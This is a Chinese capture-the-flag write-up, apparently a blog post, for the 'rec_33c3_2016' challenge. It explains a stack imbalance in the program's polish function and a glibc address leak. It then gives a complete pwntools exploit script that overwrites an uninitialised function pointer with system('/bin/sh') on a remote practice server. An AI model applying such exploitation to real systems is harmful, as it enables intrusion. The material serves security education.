rec_33c3_2016(堆栈不平衡导致漏洞利用)

161 篇文章 9 订阅
161 篇文章 9 订阅

首先,检查一下程序的保护机制

然后,我们用IDA分析一下,功能1可以用于栈数据泄露,轻松得到glibc地址

功能5有一个函数指针,当输入为0时,其值未初始化

因此,只要能控制其指针在栈里对应的数据,就可以执行任意代码。但是sign函数的栈太低,不能依靠其他函数直接来控制,这里在IDA的伪代码里看不出来,就直接看汇编。

在polish函数中,此处存在栈不平衡的问题

在call之前,开辟了0x10的空间,而call回来后仅仅add esp,8,栈降低了8字节。这点在伪代码里是看不出来的。

也就是在S求和的过程中,每循环一次,esp就会降低8字节

然后通过push就可以往栈里写数据

由此,我们就可以在sign函数对应的位置布置下函数指针的值

#coding:utf8
from pwn import *
from LibcSearcher import *

#sh = process('./rec_33c3_2016',env={'LD_PRELOAD':'./libc-2.23_1.so'})
sh = remote('node3.buuoj.cn',25620)
libc = ELF('./libc-2.23_1.so')

def show():
   sh.sendlineafter('>','1')
   sh.recvuntil('Your note: ')

def do_sum(data):
   sh.sendlineafter('>','2')
   sh.sendlineafter('Operator:','S')
   for x in data:
      sh.sendlineafter('Operand:',str(x))
   sh.sendlineafter('Operand:','.')


def getShell():
   sh.sendlineafter('>','5')
   sh.sendline('0')

show()
sh.recv(8)
_IO_2_1_stdout_addr = u32(sh.recv(4))
libc_base = _IO_2_1_stdout_addr - libc.sym['_IO_2_1_stdout_']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)
print 'binsh_addr=',hex(binsh_addr)
data = []
for i in range(0x63):
   data.append(i)
data.append(system_addr - 0x100000000)
data.append(binsh_addr - 0x100000000)
#利用push将数据写入栈里
do_sum(data)
#getshell
getShell()

sh.interactive()

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值